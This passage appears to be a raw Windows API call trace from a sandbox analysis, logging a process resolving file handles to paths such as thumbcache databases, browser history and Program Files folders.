HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0127.937] CloseHandle (hObject=0xb8) returned 1 [0127.937] GetFileType (hFile=0x128) returned 0x1 [0127.937] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0127.938] CloseHandle (hObject=0x128) returned 1 [0127.938] GetFileType (hFile=0xb8) returned 0x1 [0127.939] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0127.939] CloseHandle (hObject=0xb8) returned 1 [0127.940] GetFileType (hFile=0x128) returned 0x1 [0127.940] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0127.941] CloseHandle (hObject=0x128) returned 1 [0127.941] GetFileType (hFile=0xb8) returned 0x1 [0127.941] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.942] CloseHandle (hObject=0xb8) returned 1 [0127.942] GetFileType (hFile=0x128) returned 0x1 [0127.942] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\ActionCenter.dll.mui") returned 0x32 [0127.945] CloseHandle (hObject=0x128) returned 1 [0127.945] GetFileType (hFile=0xb8) returned 0x0 [0127.945] CloseHandle (hObject=0xb8) returned 1 [0127.945] GetFileType (hFile=0x128) returned 0x1 [0127.945] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0127.946] CloseHandle (hObject=0x128) returned 1 [0127.946] GetFileType (hFile=0xb8) returned 0x1 [0127.946] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0127.947] CloseHandle (hObject=0xb8) returned 1 [0127.948] GetFileType (hFile=0x128) returned 0x1 [0127.948] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0127.949] CloseHandle (hObject=0x128) returned 1 [0127.949] GetFileType (hFile=0xb8) returned 0x1 [0127.949] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0127.950] CloseHandle (hObject=0xb8) returned 1 [0127.950] GetFileType (hFile=0x128) returned 0x1 [0127.950] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0127.951] CloseHandle (hObject=0x128) returned 1 [0127.951] GetFileType (hFile=0xb8) returned 0x1 [0127.951] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0127.952] CloseHandle (hObject=0xb8) returned 1 [0127.952] GetFileType (hFile=0x128) returned 0x1 [0127.952] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0127.953] CloseHandle (hObject=0x128) returned 1 [0127.953] GetFileType (hFile=0xb8) returned 0x1 [0127.953] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0127.954] CloseHandle (hObject=0xb8) returned 1 [0127.954] GetFileType (hFile=0x128) returned 0x1 [0127.954] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020022120200222\\index.dat") returned 0x78 [0127.955] CloseHandle (hObject=0x128) returned 1 [0127.955] GetFileType (hFile=0xb8) returned 0x1 [0127.955] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.956] CloseHandle (hObject=0xb8) returned 1 [0127.956] GetFileType (hFile=0x128) returned 0x1 [0127.956] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0127.956] CloseHandle (hObject=0x128) returned 1 [0127.956] GetFileType (hFile=0xb8) returned 0x1 [0127.956] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.957] CloseHandle (hObject=0xb8) returned 1 [0127.957] GetFileType (hFile=0x128) returned 0x1 [0127.957] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0127.957] CloseHandle (hObject=0x128) returned 1 [0127.958] GetFileType (hFile=0xb8) returned 0x1 [0127.958] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.958] CloseHandle (hObject=0xb8) returned 1 [0127.958] GetFileType (hFile=0x128) returned 0x1 [0127.958] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0127.959] CloseHandle (hObject=0x128) returned 1 [0127.959] GetFileType (hFile=0xb8) returned 0x1 [0127.959] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.959] CloseHandle (hObject=0xb8) returned 1 [0127.959] GetFileType (hFile=0x128) returned 0x1 [0127.959] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0127.960] CloseHandle (hObject=0x128) returned 1 [0127.960] GetFileType (hFile=0xb8) returned 0x1 [0127.960] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.960] CloseHandle (hObject=0xb8) returned 1 [0127.960] GetFileType (hFile=0x128) returned 0x1 [0127.960] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0127.961] CloseHandle (hObject=0x128) returned 1 [0127.961] GetFileType (hFile=0xb8) returned 0x1 [0127.961] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.962] CloseHandle (hObject=0xb8) returned 1 [0127.962] GetFileType (hFile=0x128) returned 0x1 [0127.962] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0127.963] CloseHandle (hObject=0x128) returned 1 [0127.963] GetFileType (hFile=0xb8) returned 0x1 [0127.963] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.963] CloseHandle (hObject=0xb8) returned 1 [0127.964] GetFileType (hFile=0x128) returned 0x1 [0127.964] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0127.964] CloseHandle (hObject=0x128) returned 1 [0127.964] GetFileType (hFile=0xb8) returned 0x1 [0127.964] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.965] CloseHandle (hObject=0xb8) returned 1 [0127.965] GetFileType (hFile=0x128) returned 0x1 [0127.965] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0127.965] CloseHandle (hObject=0x128) returned 1 [0127.966] GetFileType (hFile=0xb8) returned 0x1 [0127.966] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.966] CloseHandle (hObject=0xb8) returned 1 [0127.966] GetFileType (hFile=0x128) returned 0x1 [0127.966] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0127.967] CloseHandle (hObject=0x128) returned 1 [0127.967] GetFileType (hFile=0xb8) returned 0x1 [0127.967] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.968] CloseHandle (hObject=0xb8) returned 1 [0127.968] GetFileType (hFile=0x128) returned 0x1 [0127.968] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0127.968] CloseHandle (hObject=0x128) returned 1 [0127.968] GetFileType (hFile=0xb8) returned 0x1 [0127.968] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.969] CloseHandle (hObject=0xb8) returned 1 [0127.969] GetFileType (hFile=0x128) returned 0x1 [0127.969] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0127.969] CloseHandle (hObject=0x128) returned 1 [0127.970] GetFileType (hFile=0xb8) returned 0x1 [0127.970] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.970] CloseHandle (hObject=0xb8) returned 1 [0127.970] GetFileType (hFile=0x128) returned 0x1 [0127.970] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0127.971] CloseHandle (hObject=0x128) returned 1 [0127.971] GetFileType (hFile=0xb8) returned 0x1 [0127.971] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.971] CloseHandle (hObject=0xb8) returned 1 [0127.972] GetFileType (hFile=0x128) returned 0x1 [0127.972] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0127.972] CloseHandle (hObject=0x128) returned 1 [0127.972] GetFileType (hFile=0xb8) returned 0x1 [0127.972] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.973] CloseHandle (hObject=0xb8) returned 1 [0127.973] GetFileType (hFile=0x128) returned 0x1 [0127.973] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Java") returned 0x1f [0127.973] CloseHandle (hObject=0x128) returned 1 [0127.974] GetFileType (hFile=0xb8) returned 0x1 [0127.974] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.974] CloseHandle (hObject=0xb8) returned 1 [0127.974] GetFileType (hFile=0x128) returned 0x1 [0127.974] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Defender") returned 0x25 [0127.975] CloseHandle (hObject=0x128) returned 1 [0127.975] GetFileType (hFile=0xb8) returned 0x1 [0127.975] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.975] CloseHandle (hObject=0xb8) returned 1 [0127.976] GetFileType (hFile=0x128) returned 0x1 [0127.976] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0127.976] CloseHandle (hObject=0x128) returned 1 [0127.976] GetFileType (hFile=0xb8) returned 0x1 [0127.976] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.977] CloseHandle (hObject=0xb8) returned 1 [0127.977] GetFileType (hFile=0x128) returned 0x1 [0127.977] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0127.977] CloseHandle (hObject=0x128) returned 1 [0127.977] GetFileType (hFile=0xb8) returned 0x1 [0127.978] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.978] CloseHandle (hObject=0xb8) returned 1 [0127.978] GetFileType (hFile=0x128) returned 0x1 [0127.978] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0127.979] CloseHandle (hObject=0x128) returned 1 [0127.979] GetFileType (hFile=0xb8) returned 0x1 [0127.979] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.979] CloseHandle (hObject=0xb8) returned 1 [0127.980] GetFileType (hFile=0x128) returned 0x1 [0127.980] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0127.980] CloseHandle (hObject=0x128) returned 1 [0127.980] GetFileType (hFile=0xb8) returned 0x1 [0127.980] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.981] CloseHandle (hObject=0xb8) returned 1 [0127.981] GetFileType (hFile=0x128) returned 0x1 [0127.981] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0127.982] CloseHandle (hObject=0x128) returned 1 [0127.982] GetFileType (hFile=0xb8) returned 0x1 [0127.982] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.982] CloseHandle (hObject=0xb8) returned 1 [0127.982] GetFileType (hFile=0x128) returned 0x1 [0127.982] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0127.983] CloseHandle (hObject=0x128) returned 1 [0127.983] GetFileType (hFile=0xb8) returned 0x1 [0127.983] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.984] CloseHandle (hObject=0xb8) returned 1 [0127.984] GetFileType (hFile=0x128) returned 0x1 [0127.984] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar") returned 0x2a [0127.984] CloseHandle (hObject=0x128) returned 1 [0127.985] GetFileType (hFile=0xb8) returned 0x1 [0127.985] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.985] CloseHandle (hObject=0xb8) returned 1 [0127.985] GetFileType (hFile=0x128) returned 0x1 [0127.985] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Reference Assemblies") returned 0x29 [0127.986] CloseHandle (hObject=0x128) returned 1 [0127.986] GetFileType (hFile=0xb8) returned 0x1 [0127.986] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.987] CloseHandle (hObject=0xb8) returned 1 [0127.987] GetFileType (hFile=0x128) returned 0x1 [0127.987] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0127.987] CloseHandle (hObject=0x128) returned 1 [0127.987] GetFileType (hFile=0xb8) returned 0x1 [0127.987] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.988] CloseHandle (hObject=0xb8) returned 1 [0127.988] GetFileType (hFile=0x128) returned 0x1 [0127.988] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Mail") returned 0x27 [0127.989] CloseHandle (hObject=0x128) returned 1 [0127.989] GetFileType (hFile=0xb8) returned 0x1 [0127.989] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.989] CloseHandle (hObject=0xb8) returned 1 [0127.989] GetFileType (hFile=0x128) returned 0x1 [0127.989] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0127.990] CloseHandle (hObject=0x128) returned 1 [0127.990] GetFileType (hFile=0xb8) returned 0x1 [0127.990] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.991] CloseHandle (hObject=0xb8) returned 1 [0127.991] GetFileType (hFile=0x128) returned 0x1 [0127.991] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0127.991] CloseHandle (hObject=0x128) returned 1 [0127.991] GetFileType (hFile=0xb8) returned 0x1 [0127.991] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.992] CloseHandle (hObject=0xb8) returned 1 [0127.992] GetFileType (hFile=0x128) returned 0x1 [0127.992] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar") returned 0x2a [0127.993] CloseHandle (hObject=0x128) returned 1 [0127.993] GetFileType (hFile=0xb8) returned 0x1 [0127.993] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.993] CloseHandle (hObject=0xb8) returned 1 [0127.994] GetFileType (hFile=0x128) returned 0x1 [0127.994] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0127.995] CloseHandle (hObject=0x128) returned 1 [0127.995] GetFileType (hFile=0xb8) returned 0x1 [0127.995] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.996] CloseHandle (hObject=0xb8) returned 1 [0127.996] GetFileType (hFile=0x128) returned 0x1 [0127.996] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0127.996] CloseHandle (hObject=0x128) returned 1 [0127.997] GetFileType (hFile=0xb8) returned 0x1 [0127.997] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.997] CloseHandle (hObject=0xb8) returned 1 [0127.997] GetFileType (hFile=0x128) returned 0x1 [0127.997] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0127.998] CloseHandle (hObject=0x128) returned 1 [0127.998] GetFileType (hFile=0xb8) returned 0x1 [0127.998] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0127.999] CloseHandle (hObject=0xb8) returned 1 [0127.999] GetFileType (hFile=0x128) returned 0x1 [0127.999] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0127.999] CloseHandle (hObject=0x128) returned 1 [0127.999] GetFileType (hFile=0xb8) returned 0x1 [0127.999] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.000] CloseHandle (hObject=0xb8) returned 1 [0128.000] GetFileType (hFile=0x128) returned 0x1 [0128.000] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Mail") returned 0x27 [0128.001] CloseHandle (hObject=0x128) returned 1 [0128.001] GetFileType (hFile=0xb8) returned 0x1 [0128.001] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.001] CloseHandle (hObject=0xb8) returned 1 [0128.001] GetFileType (hFile=0x128) returned 0x1 [0128.001] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Photo Viewer") returned 0x29 [0128.002] CloseHandle (hObject=0x128) returned 1 [0128.002] GetFileType (hFile=0xb8) returned 0x1 [0128.002] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.003] CloseHandle (hObject=0xb8) returned 1 [0128.003] GetFileType (hFile=0x128) returned 0x1 [0128.003] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0128.003] CloseHandle (hObject=0x128) returned 1 [0128.003] GetFileType (hFile=0xb8) returned 0x1 [0128.003] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.004] CloseHandle (hObject=0xb8) returned 1 [0128.004] GetFileType (hFile=0x128) returned 0x1 [0128.004] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0128.005] CloseHandle (hObject=0x128) returned 1 [0128.005] GetFileType (hFile=0xb8) returned 0x1 [0128.005] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.005] CloseHandle (hObject=0xb8) returned 1 [0128.005] GetFileType (hFile=0x128) returned 0x1 [0128.005] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0128.006] CloseHandle (hObject=0x128) returned 1 [0128.006] GetFileType (hFile=0xb8) returned 0x1 [0128.006] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.007] CloseHandle 